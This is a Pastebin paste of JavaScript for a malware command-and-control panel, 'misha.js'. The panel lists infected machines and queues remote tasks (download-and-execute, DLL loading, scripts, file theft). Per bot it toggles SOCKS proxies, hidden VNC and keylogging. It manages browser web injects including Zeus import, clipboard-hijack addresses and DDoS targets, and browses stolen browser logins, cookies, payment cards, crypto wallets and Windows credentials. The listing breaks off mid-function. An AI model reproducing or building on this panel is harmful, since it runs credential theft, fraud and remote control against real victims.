1ZRR4H

misha.js

Mar 30th, 2022
1,834
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 55.51 KB | None | 0 0
  1. "use strict"
  2.  
  3. var country_options_str = '';
  4. var stealer_json_content = {index:0, jsn:{}, branch:[], filters:[] , name:''};
  5.  
  6. $(document).ready(function () {
  7. $('.alert-box').children().remove();
  8.  
  9. for (let key in countries) {
  10. if(key != 'ZZ') country_options_str += '<option value="'+ key + '">' + countries[key] +'</option>';
  11. }
  12.  
  13. $('.country-select-option').each(function(){ $(this).append(country_options_str);});
  14.  
  15. //decide on landing page
  16. let mn = $('#main-nav');
  17. if(mn.attr('auth') == 'true'){
  18. var landing = mn.attr('landing');
  19. if(landing && $('#btn_' + landing).length) {
  20. $('#btn_' + landing).addClass('self-run');
  21. }
  22. else{//default page
  23. $('#btn_bots_enum').addClass('self-run');
  24. }
  25. }
  26. $('.self-run').each(function () {
  27. $(this).click();
  28. });
  29. });
  30.  
  31. $(document).on('click', '.create-modal', function (event) {
  32. event.preventDefault();
  33. event.target.blur();
  34.  
  35. var el = $(this)
  36. var cmd = el.attr('data-f-cmd');
  37. var frm = $('#ev-' + cmd);
  38.  
  39. create_modal_handler(el,frm,cmd);
  40. });
  41.  
  42. function create_modal_handler(el,frm,cmd){
  43.  
  44. var holder = $('#modals-holder');
  45. $.each([
  46. 'forms-enum','bots-enum','users-add','users-update','tasks-add','forms-get',
  47. 'forms-blacklist-add','forms-whitelist-add','webinj-add','socks-add','vnc-add',
  48. 'bots-viewer','stealer-search','stealer-json-viewer',
  49. 'klog-json-viewer','forms-keyword-add','clippers-add','bots-edit-comments','ddos-add',
  50. ], function(i, cmd){
  51. holder.append($('#ev-' + cmd).detach());
  52. });
  53.  
  54. frm.find('.alert-box').children().remove();
  55.  
  56. //bots
  57. if(cmd == 'bots-enum'){
  58. create_form_modal(el,'small',true,true,true,'FIND BOTS',frm);
  59. }
  60. else if(cmd == 'bots-viewer'){
  61. let j = JSON.parse(el.closest('tr').attr('data-f-query'));
  62. frm.find('ul div').each(function(){
  63. var e = $(this);
  64. e.text( j[e.attr('data-f-id')] );
  65. });
  66. create_form_modal(el,'small',true,true,true,'Bot Info', frm);
  67. }
  68. else if(cmd == 'bots-edit-comments'){
  69. frm.find('textarea').first().val(el.attr('data-f-comments'));
  70. frm.find('input[name="bindex"]').first().val(el.attr('data-f-bindex'));
  71. create_form_modal(el,'small',true,true,true,'Edit comment: ' + el.attr('data-f-bindex'), frm);
  72. }
  73.  
  74. //accounts
  75. else if(cmd == 'users-add'){
  76. create_form_modal(el,'small',true,true,true,'ADD USER',frm);
  77. }
  78. else if(cmd == 'users-update'){
  79. create_form_modal(el,'small',true,true,true,'UPDATE ACCOUNT',frm);
  80. }
  81.  
  82. //tasks
  83. else if(cmd == 'tasks-add'){
  84. frm.find('select.task_name_changer').first().prop('selectedIndex',0).trigger( "change" );
  85. create_form_modal(el,'small',true,true,true,'ADD TASK',frm);
  86. }
  87.  
  88. //forms
  89. else if(cmd == 'forms-enum'){
  90. create_form_modal(el,'small',true,true,true,'FIND FORMS',frm);
  91. }
  92. else if(cmd == 'forms-get'){
  93. create_form_modal(el,'medium',true,true,true,'Form: ' + el.attr('data-f-findex'), frm);
  94. }
  95. else if(cmd == 'forms-blacklist-add'){
  96. create_form_modal(el,'medium',true,true,true,'Add Blacklist', frm);
  97. }
  98. else if(cmd == 'forms-whitelist-add'){
  99. create_form_modal(el,'medium',true,true,true,'Add Whitelist', frm);
  100. }
  101. else if(cmd == 'forms-keyword-add'){
  102. create_form_modal(el,'medium',true,true,true,'Add Keyword', frm);
  103. }
  104.  
  105. //webinj
  106. else if(cmd == 'webinj-add'){
  107. frm.find('select.webinj_type_changer').first().prop('selectedIndex',0).trigger( "change" );
  108. create_form_modal(el,'medium',true,true,true,'Add Web Inject', frm);
  109. }
  110.  
  111. //socks
  112. else if(cmd == 'socks-instructions'){
  113. create_form_modal(el,'small',true,true,true,'Instructions', frm);
  114. }
  115. else if(cmd == 'socks-add'){
  116. frm.find('input[name="bindex"]').val(el.attr('data-f-bindex'));
  117. frm.find('input[type="submit"]').attr('data-f-bindex', el.attr('data-f-bindex'));
  118. create_form_modal(el,'small',true,true,true,'Enable Socks', frm);
  119. }
  120.  
  121. //vnc
  122. else if(cmd == 'vnc-add'){
  123. frm.find('input[name="bindex"]').val(el.attr('data-f-bindex'));
  124. frm.find('input[type="submit"]').attr('data-f-bindex', el.attr('data-f-bindex'));
  125. create_form_modal(el,'small',true,true,true,'Enable Hidden VNC', frm);
  126. }
  127.  
  128. //stealer
  129. else if(cmd == 'stealer-search'){
  130. frm.find('select.stealer_search_cls').first().prop('selectedIndex',0).trigger("change");
  131. create_form_modal(el,'small',true,true,true,'FIND STEALER COLLECTION',frm);
  132. }
  133. else if(cmd == 'stealer-json-viewer'){
  134. frm.find('select.stealer_json_cls').first().prop('selectedIndex',0).trigger("change");
  135. create_form_modal(el,'full',true,true,true,'stealer: ' + el.attr('data-f-cindex'), frm);
  136. }
  137.  
  138. //KLOGS
  139. else if(cmd == 'klog-json-viewer'){
  140. create_form_modal(el,'full',true,true,true,'Key logs for Bot: ' + el.attr('data-f-bindex'), frm);
  141. }
  142.  
  143. //CLIPPERS
  144. else if(cmd == 'clippers-add'){
  145. create_form_modal(el,'small',true,true,true,'Add address', frm);
  146. }
  147.  
  148. //DDOS
  149. else if(cmd == 'ddos-add'){
  150. create_form_modal(el,'small',true,true,true,'Set DDOS Target', frm);
  151. }
  152. }
  153.  
  154. function filter_stealer_content(el) {
  155. try {
  156. let inc = false;
  157. let founds = 0;
  158. let r = stealer_json_content;
  159. var collected = {};
  160. var loader = $(el.attr('data-f-loader'));
  161. collected = [];
  162.  
  163. if(el.attr('data-f-isnew-search') == 'true'){
  164.  
  165. var frm = el.closest('form');
  166.  
  167. r.index = 0;
  168.  
  169. r.name = frm.find('.stealer_json_cls').first().val();
  170.  
  171. r.branch = { '':[],
  172. 'chats':r.jsn.chats,
  173. 'ftp':r.jsn.ftp,
  174. 'firefox.logins':r.jsn.firefox.logins,
  175. 'firefox.autofill':r.jsn.firefox.autofill,
  176. 'firefox.cards':r.jsn.firefox.cards,
  177. 'chromium.logins':r.jsn.chromium.logins,
  178. 'chromium.autofill':r.jsn.chromium.autofill,
  179. 'chromium.cards':r.jsn.chromium.cards,
  180. 'crypto_wallets':r.jsn.crypto_wallets,
  181. 'wincred':r.jsn.wincred,
  182. 'telegram':r.jsn.telegram,
  183. }[r.name];
  184.  
  185. r.filters = [];
  186.  
  187. frm.find('input:not([type="submit"])').each(function(){
  188. let s = $(this);
  189.  
  190. if(s.val().length){
  191. r.filters.push({name:s.attr('name') , val:s.val() } );
  192. }
  193. });
  194. }
  195.  
  196. while(r.index < r.branch.length){
  197. inc = true;
  198. if(r.filters.length){
  199. $.each(r.filters, function (u, f){
  200. if(inc) inc = r.branch[r.index][f.name].indexOf(f.val) != -1;
  201. });
  202. }
  203.  
  204. if(inc){
  205. collected.push(r.branch[r.index]);
  206. }
  207. r.index++; //future update: may want to limit to 100
  208. }
  209.  
  210. $('#stealer-content-renderer').jsonBrowse(collected,{
  211. collapsed: true
  212. });
  213.  
  214. } catch (er) {console.log(er);}
  215. }
  216.  
  217. $(document).on('change', '.task_name_changer', function (event) {
  218. event.preventDefault();
  219.  
  220. var el = $(this);
  221. var frm = $(el).closest('form');
  222. var sel = el.val();
  223.  
  224. frm.find('.volatile').remove();
  225.  
  226. var dic = {
  227. 'Update':[{label:"URL:",code:'<input class="uk-input" type="url" name="param1" max="127" placeholder="example: http://web.com/file.exe" required>'}],
  228. 'Uninstall':[],
  229. 'DownExec':[{label:"URL:",code:'<input class="uk-input" type="url" name="param1" max="127" placeholder="example: http://web.com/file.exe" required>'},{label:"Filename:",code:'<input class="uk-input" type="text" name="param2" max="63" placeholder="example: file.exe" required>'},{label:"CommandLine:",code:'<input class="uk-input" type="text" name="param3" max="63">'}],
  230. 'LoadDLL':[{label:"URL:",code:'<input class="uk-input" type="url" name="param1" max="127" placeholder="example: http://web.com/new.php" required>'}],
  231. 'Stealer':[],
  232. 'SysShutdown':[],
  233. 'SysRestart':[],
  234. 'FileStealer':[{label:"Filename 1:",code:'<input class="uk-input" type="text" name="param1" max="63" placeholder="example: file.exe" required>'},{label:"Filename 2:",code:'<input class="uk-input" type="text" name="param2" max="63" placeholder="example: file.exe">'},{label:"Filename 3:",code:'<input class="uk-input" type="text" name="param3" max="63" placeholder="example: file.exe">'}],
  235. 'Script':[{label:"URL:",code:'<input class="uk-input" type="url" name="param1" max="127" placeholder="example: http://web.com/new.py" required>'},{label:"Type:",code:'<select class="uk-select" name="param2" required><option value="" selected>Choose</option><option value="Batch">Batch</option><option value="Python">Python</option><option value="Powershell">Powershell</option></select>'}],
  236. 'BotShutdown':[],
  237. 'BotRestart':[],
  238. }[sel];
  239.  
  240. if((typeof dic == 'undefined') && sel.length ){
  241. notice('task_name:['+sel+'] is not implemented', false, el.closest('.data-modal').find('.alert-box'));
  242. }
  243.  
  244. var pos = frm.find('.volatile-inputs-end').first();
  245.  
  246. $.each(dic, function (i, j){
  247. $('<div class="uk-margin volatile">'+
  248. '<label class="uk-form-label">'+ j.label +'</label>'+
  249. '<div class="uk-form-controls">'+
  250. j.code +
  251. '</div>'+
  252. '</div>').insertBefore(pos);
  253. });
  254. });
  255.  
  256. $(document).on('change', '.webinj_type_changer', function (event) {
  257. event.preventDefault();
  258.  
  259. var el = $(this);
  260. var frm = $(el).closest('form');
  261. var sel = el.find(':selected').first().val();
  262.  
  263. frm.find('.volatile').remove();
  264.  
  265. var dic = {
  266. 'block':[],
  267. 'redirect':[{label:"Destination URL:",code:'<input class="uk-input" type="url" max="256" name="dst_url" placeholder="example: http://web.com/new.php" required>'}],
  268. 'script':[{label:"Javascript:",code:'<textarea class="uk-textarea" type="textarea" rows="4" name="js" required></textarea>'},{label:"CSS:",code:'<textarea class="uk-textarea" type="textarea" rows="4" name="css"></textarea>'}],
  269. 'add_hdr':[{label:"Header name:",code:'<input class="uk-input" type="text" max="256" name="hdr_name" required>'},{label:"Header value:",code:'<input class="uk-input" type="text" max="256" name="hdr_value" required>'}],
  270. 'remove_hdr':[{label:"Header name:",code:'<input class="uk-input" type="text" max="256" name="hdr_name" required>'}],
  271. 'change_hdr':[{label:"Header name:",code:'<input class="uk-input" type="text" max="256" name="hdr_name" required>'},{label:"Header value:",code:'<input class="uk-input" type="text" max="256" name="hdr_value" required>'}],
  272. 'import_zeus':[{label:"Import Zeus Injects:",code:'<input class="uk-input" type="file" name="import_data" required>'}],
  273. }[sel];
  274.  
  275. var add_url = {
  276. 'block':true,
  277. 'redirect':true,
  278. 'script':true,
  279. 'add_hdr':true,
  280. 'remove_hdr':true,
  281. 'change_hdr':true,
  282. 'import_zeus':false
  283. }[sel];
  284.  
  285. if((typeof dic == 'undefined') && sel.length) notice('browser command:['+sel+'] is not implemented', false, el.closest('.data-modal').find('.alert-box'));
  286.  
  287. var pos = frm.find('.volatile-inputs-end').first();
  288.  
  289. $.each(dic, function (i, j){
  290.  
  291. $('<div class="uk-margin volatile">'+
  292. '<label class="uk-form-label">'+ j.label +'</label>'+
  293. '<div class="uk-form-controls">'+
  294. j.code +
  295. '</div>'+
  296. '</div>').insertBefore(pos);
  297. });
  298.  
  299. var s = frm.find('input[name="target_url"]').first();
  300. if(s){
  301. if(add_url == true){
  302. s.closest('.uk-margin').removeAttr('hidden');
  303. s.prop('required',true);
  304. }else{
  305. s.closest('.uk-margin').attr('hidden',true);
  306. s.removeProp('required');
  307. s.val('');
  308. }
  309. }
  310. });
  311.  
  312. function stealer_cls_selector(el,dic_list){
  313.  
  314. var frm = $(el).closest('form');
  315. var sel = el.find(':selected').first().val();
  316.  
  317. frm.find('.volatile').remove();
  318.  
  319. var dic = dic_list[sel];
  320.  
  321. if((typeof dic == 'undefined') && sel.length) notice('stealer class group:['+sel+'] is not implemented', false, el.closest('.data-modal').find('.alert-box'));
  322.  
  323. var pos = frm.find('.volatile-inputs-end').first();
  324.  
  325. $.each(dic, function (i, j){
  326. $('<div class="uk-margin volatile">'+
  327. '<label class="uk-form-label">'+ j.label +'</label>'+
  328. '<div class="uk-form-controls">'+
  329. j.code +
  330. '</div>'+
  331. '</div>').insertBefore(pos);
  332. });
  333. }
  334.  
  335. $(document).on('change', '.stealer_json_cls', function (event) {
  336. event.preventDefault();
  337.  
  338. var dic = {
  339. '':[],
  340. 'telegram':[],
  341. 'ftp':[{label:"Host:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="host">'},{label:"Username:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="user">'}],
  342. 'crypto_wallets':[],
  343. 'wincred':[{label:"Username:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="user">'},{label:"Target:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="target">'}],
  344. 'chats':[{label:"Username:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="user">'}],
  345. 'chromium.cards':[{label:"Name:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="name">'}],
  346. 'chromium.logins':[{label:"Host:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="host">'},{label:"Username:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="user">'}],
  347. 'chromium.autofill':[{label:"Username:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="user">'}],
  348. 'firefox.logins':[{label:"Host:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="host">'},{label:"Username:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="user">'}],
  349. 'firefox.cards':[{label:"Name:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="name">'}],
  350. 'firefox.autofill':[{label:"Username:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="user">'}],
  351. };
  352. stealer_cls_selector($(this),dic);
  353. });
  354.  
  355. $(document).on('change', '.stealer_search_cls', function (event) {
  356. event.preventDefault();
  357.  
  358. var dic = {
  359. '':[],
  360. 'telegram':[],
  361. 'ftp':[{label:"Host:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="host">'},{label:"Username:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="username">'}],
  362. 'crypto_wallets':[],
  363. 'wincred':[{label:"Username:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="username">'},{label:"Target:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="target">'}],
  364. 'im':[{label:"Username:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="username">'}],
  365. 'cards':[{label:"Name:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="username">'}],
  366. 'cookies':[{label:"Host:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="host">'},{label:"Name:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="username">'}],
  367. 'logins':[{label:"Host:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="host">'},{label:"Username:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="username">'}],
  368. 'autofill':[{label:"Username:",code:'<input class="uk-input uk-form-small" type="text" max="256" name="username">'}]
  369. };
  370.  
  371. stealer_cls_selector($(this),dic);
  372. });
  373.  
  374. $(document).on('click', '.ebtn', function (event) {
  375. var el = $(this);
  376. var s = el.attr('data-f-confirm');
  377. if(typeof s != "undefined"){
  378. UIkit.modal.confirm(s).then(function() {
  379. ebtn_processor(el,event);
  380. }, function () {
  381. //rejected
  382. });
  383. }else{
  384. ebtn_processor(el,event);
  385. }
  386. });
  387.  
  388. $(document).on('submit', '.ebtn_form', function (event) {
  389. ebtn_processor($(this).find('input[type="submit"]').first(),event);
  390. return false;
  391. });
  392.  
  393. $(document).on('click', '.red_icon_on_click', function (event) {
  394. var el = $(this);
  395. el.addClass('red-icon');
  396. });
  397.  
  398. $(document).on('click', '.to_clipboard', function (event) {
  399. var el = $(this);
  400. var text = $(el.attr('data-f-clip-src')).val();
  401. var delimiter = el.attr('data-f-clip-delimit');
  402. if(delimiter.length) text = text.split(delimiter)[0];
  403. copy_text_to_clipboard(text);
  404. });
  405.  
  406. function ebtn_processor(el,event=null){
  407. if(event) event.preventDefault();
  408. UIkit.notification.closeAll();
  409.  
  410. var query = '';
  411. var cmd = '';
  412. var loader = '';
  413. var s;
  414. var loader_str = '<div class="f-loader uk-overlay-default uk-position-cover"><div class="uk-position-center"><span uk-spinner="ratio: 3"></span></div></div>';
  415.  
  416. $('.alert-box').children().remove();
  417. $('#query_secs').prop('hidden', true);
  418.  
  419. if(el.hasClass('pager-item')){
  420. var cn = el.closest('ul.uk-pagination');
  421. cmd = cn.attr('data-f-cmd');
  422. loader = cn.attr('data-f-loader');
  423. query = cn.attr('data-f-query');
  424. if((typeof query != "undefined") && query.length) query += '&';
  425. query += 'page=' + el.attr('data-f-page');
  426. }else{
  427. query = el.attr('data-f-query');
  428. cmd = el.attr('data-f-cmd');
  429. loader = el.attr('data-f-loader');
  430. if(!loader && el.hasClass('tr_ldr')) loader = el.closest('.tr_ldr_container');
  431. if(cmd == 'stealer_del_all') {
  432. var s = $('#stealer-cls').attr('data-f-stealer-cls');
  433. if(s.length){
  434. if(query.length) query += '&';
  435. query += 'cls_name='+s;
  436. }
  437. }
  438. }
  439.  
  440. if((typeof query != "undefined") && (typeof cmd != "undefined") && cmd.length){
  441.  
  442. if(query.length) query += '&';
  443. query += 'script=1&cmd=' + cmd;
  444.  
  445. var s = el.attr('data-f-form');
  446. if(typeof s != "undefined"){
  447. s = el.closest('form').serialize();
  448. if(s.length) query += '&' + s;
  449. }
  450.  
  451. var _before = function(){
  452. if(typeof loader != "undefined") $(loader).append(loader_str);
  453. }
  454.  
  455. var _complete = function(){
  456. if(typeof loader != "undefined") $(loader).find('.f-loader').remove();
  457. }
  458.  
  459. var wait_secs = el.attr('req-wait-secs') == "undefined" ? null : el.attr('req-wait-secs');
  460.  
  461. net_query('POST', el,cmd, 'index.php', query, _before, query_success, query_failure, _complete, wait_secs);
  462. }
  463.  
  464. if(typeof loader != "undefined"){
  465. if((typeof query == "undefined") || (typeof cmd == "undefined") || (cmd.length == 0)){
  466. //there is a loader but, this is not a query event or query wasn't run
  467. $(loader).append(loader_str);
  468. }
  469. }
  470.  
  471. s = el.attr('data-f-title-target');
  472. if(typeof s != "undefined"){
  473. $(s).text(el.attr('data-f-title'));
  474. }
  475.  
  476. s = el.attr('data-f-view');
  477. if(typeof s != "undefined"){
  478. var s = $(s);
  479. s.removeAttr('hidden');
  480. s.siblings('.exclusive-show').prop('hidden',true);
  481. }
  482.  
  483. s = el.attr('data-f-click');
  484. if(typeof s != "undefined"){
  485. $(s).click();
  486. }
  487.  
  488. if(el[0].hasAttribute('cboard_copy')){
  489. copy_text_to_clipboard(el.attr('cboard_copy'));
  490. UIkit.notification.closeAll();
  491. UIkit.notification({message: 'Copied to clipboard'})
  492. }
  493.  
  494. if(cmd == 'stealer_content_filter'){
  495. filter_stealer_content(el);
  496. }
  497.  
  498. if(typeof loader != "undefined"){
  499. if((typeof query == "undefined") || (typeof cmd == "undefined") || (cmd.length == 0)){
  500. //there is a loader but, this is not a query event or query wasn't run
  501. $(loader).find('.f-loader').remove();
  502. }
  503. }
  504. }
  505.  
  506. function notice(m,success=true,box=null){
  507. if(!box || (typeof box == "undefined")) box = "#main-alert-box";
  508.  
  509. var e = $( '<div uk-alert class="uk-text-bold '+ (success ? 'uk-alert-success' : 'uk-alert-danger') +'">'+
  510. '<a class="uk-alert-close uk-margin-left" uk-close></a>'+
  511. '<p></p>'+
  512. '</div>');
  513.  
  514. e.find('p').text(m);
  515.  
  516. $('.alert-box').children().remove();
  517. UIkit.alert(e);
  518.  
  519. $(box).append(e);
  520. }
  521.  
  522. function net_query(action,el, cmd, _url, _data, _before, _success, _error, _complete, wait_secs = 120, parse=true) {
  523. var auth = null;//important
  524. var parsed_without_error = false;
  525.  
  526. var on_success = function(resp) {
  527. try {
  528. if(parse){
  529. let jsn = JSON.parse(resp);
  530. auth = jsn['auth'];
  531. parsed_without_error = true;
  532. if (jsn['r']) {
  533. if (_success) _success(cmd, jsn, el);
  534. } else {
  535. on_error(200, jsn['msg']);
  536. }
  537. }else {
  538. if (_success) _success(cmd, resp, el);
  539. }
  540. } catch (er) {
  541. console.log(er);
  542. on_error(200, 'caught exception: ' + er.message);
  543. console.log('cmd: ' + cmd + '\nresp: ' + resp);
  544. }
  545. }
  546.  
  547. var on_error = function(status, resp) {
  548. var m = '';
  549. if (resp.length) {
  550. m = resp;
  551. } else {
  552. m = 'query failed (network error): ' + status;
  553. }
  554. if (_error) _error(cmd, m, el,auth,parsed_without_error);
  555. }
  556.  
  557. $.ajax({
  558. url: _url,
  559. type: action,
  560. cache: false,
  561. processData: true,
  562. data: _data,
  563. crossDomain: true,
  564. timeout: wait_secs * 1000,
  565. beforeSend: function (x) {
  566. if (_before) _before();
  567. },
  568. success: function (resp, x, status) {
  569. on_success(resp);
  570. },
  571. error: function (x, status, error) {
  572. on_error(status, error);
  573. },
  574. complete: function (x, status) {
  575. if (_complete) _complete();
  576. }
  577. });
  578. }
  579.  
  580. function create_pagination(ul, page, page_count, query, cmd, tb){
  581. var min, max;
  582.  
  583. min = page - 1;
  584. if(min <= 0) min = 1;
  585.  
  586. max = page + 1;
  587. if(max > page_count) max = page_count;
  588.  
  589. if(!page_count) return;
  590.  
  591. ul.attr('data-f-cmd',cmd);
  592. ul.attr('data-f-query',query);
  593.  
  594. if(min > 1){
  595. ul.append(
  596. '<li><a class="ebtn pager-item" data-f-target-tb="'+ tb +'" data-f-page="1"><span class="uk-margin-small-right" uk-pagination-previous></span> First</a></li>'+
  597. '<li class="uk-disabled"><span>--</span></li>'
  598. );
  599. }
  600.  
  601. for(let n = min; n <= max; n++){
  602. if(page == n){
  603. ul.append('<li><span class="ebtn pager-item uk-disabled" data-f-target-tb="'+ tb +'" data-f-page="' + n + '">' + n + '</span></li>');
  604. }else{
  605. ul.append('<li><a class="ebtn pager-item" data-f-target-tb="'+ tb +'" data-f-page="' + n + '">' + n + '</a></li>');
  606. }
  607. }
  608.  
  609. if(max < page_count){
  610. ul.append(
  611. '<li class="uk-disabled"><span>--</span></li>'+
  612. '<li ><a class="ebtn pager-item" data-f-target-tb="'+ tb +'" data-f-page="' + page_count + '">Last <span class="uk-margin-small-left" uk-pagination-next></span></a></li>'
  613. );
  614. }
  615. }
  616.  
  617.  
  618. function query_success(cmd,jsn,el){
  619. var s, mdl_close_btn;
  620.  
  621. mdl_close_btn = null;
  622.  
  623. //do this first because el may be destroyed at later processing
  624. //-------------------------------------------------------------
  625. if(typeof jsn['msg'] != 'undefined' && jsn['msg'].length) notice(jsn.msg, true, el.attr('data-f-alert-box'));
  626.  
  627. s = el.attr('data-f-view-on-success')
  628. if(typeof s !== "undefined"){
  629. $(s).removeAttr('hidden');
  630. $(s).siblings('.exclusive-show').prop('hidden',true);
  631. }
  632.  
  633. if(el.attr('data-f-close-model-on-success') == 'true'){
  634. mdl_close_btn = el.closest('.data-modal').find('.uk-modal-close-full').first();
  635. }
  636.  
  637. //now process the rest
  638. //--------------------
  639. if( (cmd == 'bots_enum') ||
  640. (cmd == 'tasks_enum') ||
  641. (cmd == 'forms_enum') ||
  642. (cmd == 'users_enum') ||
  643. (cmd == 'ddos_enum') ||
  644. (cmd == 'webinj_enum') ||
  645. (cmd == 'stealer_enum') ||
  646. (cmd == 'scripts_enum') ||
  647. (cmd == 'files_enum') ||
  648. (cmd == 'socks_enum') ||
  649. (cmd == 'vnc_enum') ||
  650. (cmd == 'clippers_enum') ||
  651. (cmd == 'forms_blacklist_enum') ||
  652. (cmd == 'forms_whitelist_enum') ||
  653. (cmd == 'forms_keyword_enum')
  654. ){
  655. var tb_locator = el.attr('data-f-target-tb');
  656. var tb = $(tb_locator);
  657.  
  658. var body = tb.find('tbody').first();
  659. body.empty();
  660.  
  661. var col_names = [];
  662. var cls_name = '';
  663. if(cmd == 'stealer_enum'){
  664. cls_name = jsn.data.extra;
  665. col_names = {
  666. '':['cindex','bindex','tindex','csize','addedon'],
  667. 'cards':['bindex','card_num','username','expiry','app'],
  668. 'im':['bindex','username','password','protocol','app'],
  669. 'ftp':['bindex','host','username','password','port','protocol','app'],
  670. 'logins':['bindex','host','username','password','app'],
  671. 'wincred':['bindex','target','username','cred','app']
  672. }[cls_name];
  673.  
  674. //store the class
  675. $('#stealer-cls').attr('data-f-stealer-cls', cls_name);
  676.  
  677. //header
  678. var h = tb.find('thead').first().find('tr').first();
  679. h.empty();
  680. $.each(col_names, function (i, x) {
  681. h.append('<th class="uk-width-small">'+x+'</th>');
  682. });
  683. h.append('<th class="uk-table-shrink">COMMANDS</th>');
  684.  
  685. //footer
  686. h = tb.find('tfoot').first().find('td').first();
  687. h.attr('colspan', col_names.length);
  688. h.find('ul').first().empty();
  689. }
  690.  
  691. var r ='';
  692. var nrows = 0;
  693. $.each(jsn.data.rows, function (i, j) {
  694. if(cmd == 'bots_enum'){
  695. r = '<tr>'+
  696. '<td>' + j.bindex + '</td>'+
  697. '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ countries[j.countrycode.toUpperCase()] +'" uk-tooltip="'+ j.ip +'" readonly></td>'+
  698. '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j.sysname +'" readonly></td>'+
  699. '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j.username +'" readonly></td>'+
  700. '<td><a class="create-modal" data-f-cmd="bots-viewer" data-f-bindex="'+ j.bindex +'" uk-icon="icon: info"></a>&nbsp;<a class="create-modal '+ (j.comments.length ? 'red-icon':'') +'" data-f-cmd="bots-edit-comments" data-f-comments="'+ j.comments +'" data-f-bindex="'+ j.bindex +'" uk-icon="icon: commenting"></a></td>'+
  701. '<td>' + j.osver + '-' + j.arch + '</td>'+
  702. '<td>' + j.lastseen + '</td>'+
  703. '<td>'+
  704. '<ul class="uk-iconnav">'+
  705. '<li>' + (j.socks_bot_port ? '<a class="ebtn red-icon tr_ldr" data-f-cmd="socks_del" data-f-query="bindex='+ j.bindex +'" data-f-bindex="'+ j.bindex +'" data-f-confirm="Disable socks&#63;" uk-icon="icon: location"></a>' : '<a class="create-modal" data-f-cmd="socks-add" data-f-bindex="'+ j.bindex +'" uk-icon="icon: location"></a>') + '</li>'+
  706. '<li>' + (j.vnc ? '<a class="ebtn red-icon tr_ldr" data-f-cmd="vnc_del" data-f-query="bindex='+ j.bindex +'" data-f-bindex="'+ j.bindex +'" data-f-confirm="Disable vnc&#63;" uk-icon="icon: desktop"></a>' : '<a class="create-modal" data-f-cmd="vnc-add" data-f-bindex="'+ j.bindex +'" uk-icon="icon: desktop"></a>') + '</li>'+
  707. '<li>' + (j.klog_enabled ? '<a class="ebtn red-icon" data-f-query="bindex='+ j.bindex +'" data-f-cmd="klog_get_json" data-f-bindex="'+ j.bindex +'" data-f-status="1" uk-icon="icon: file-text"></a>' : '<a class="ebtn tr_ldr" data-f-cmd="klog_set_status" data-f-status="1" data-f-query="status=1&amp;bindex='+ j.bindex +'" data-f-bindex="'+ j.bindex +'" data-f-confirm="Enable key logging&#63;" uk-icon="icon: file-text"></a>') + '</li>'+
  708. '<li><a class="ebtn tr_ldr" data-f-cmd="bots_del" data-f-query="bindex='+ j.bindex +'" data-f-confirm="Are you sure you want to delete&#63;" uk-icon="icon: trash"></a></li>'+
  709. '</ul>'+
  710. '</td>'+
  711. '</tr>';
  712. }else if(cmd == 'tasks_enum'){
  713. r = '<tr>'+
  714. '<td>' + j.tindex + '</td>'+
  715. '<td>' + j.name + '</td>'+
  716. '<td>' + j.executions + '</td>'+
  717. '<td>' + j.total + '</td>'+
  718. '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j.param1 +'" name="param1" readonly>' + '</td>'+
  719. '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j.param2 +'" name="param2" readonly>' + '</td>'+
  720. '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j.param3 +'" name="param3" readonly>' + '</td>'+
  721. '<td>' + j.addedon + '</td>'+
  722. '<td><span class="status-label uk-label uk-label-'+ (j.executions == j.total ? 'danger' : 'success') +'">'+ ( j.executions == j.total ? 'Completed' : 'Pending') +'</span></td>'+
  723. '<td>'+
  724. '<ul class="uk-iconnav">'+
  725. '<li><a class="ebtn tr_ldr" data-f-cmd="tasks_del" data-f-query="tindex='+ j.tindex + '" data-f-confirm="Are you sure you want to delete this Task&#63;" uk-icon="icon: trash"></a></li>'+
  726. '</ul>'+
  727. '</td>'+
  728. '</tr>';
  729. }else if(cmd == 'users_enum'){
  730. r = '<tr>'+
  731. '<td>' + j.uindex + '</td>'+
  732. '<td><input class="uk-input uk-form-small uk-form-blank" value="'+ j.username +'" readonly></td>'+
  733. '<td>' + j.admin + '</td>'+
  734. '<td>' + j.addedon + '</td>'+
  735. '<td>' + j.lastseen + '</td>'+
  736. '<td>' + j.failures + '</td>'+
  737. '<td><span class="status-label uk-label uk-label-'+ ( j.enabled ? 'success' : 'danger') +'">'+ ( j.enabled ? 'Enabled' : 'Disabled') +'</span></td>'+
  738. '<td>'+
  739. '<ul class="uk-iconnav">'+
  740. '<li><a class="ebtn tr_ldr" data-f-cmd="users_del" data-f-query="uindex='+ j.uindex + '" data-f-confirm="Are you sure you want to delete&#63;" uk-icon="icon: trash"></a></li>'+
  741. '<li><a class="ebtn tr_ldr" data-f-cmd="users_toggle_state" data-f-query="uindex='+ j.uindex +'" data-f-confirm="Are you sure you want to change account state&#63;" uk-icon="icon: '+ (not_zero_str(j.enabled) ? 'ban' : 'play-circle')+'"></a></li>'+
  742. '</ul>'+
  743. '</td>'+
  744. '</tr>';
  745. }else if(cmd == 'webinj_enum'){
  746. r = '<tr>'+
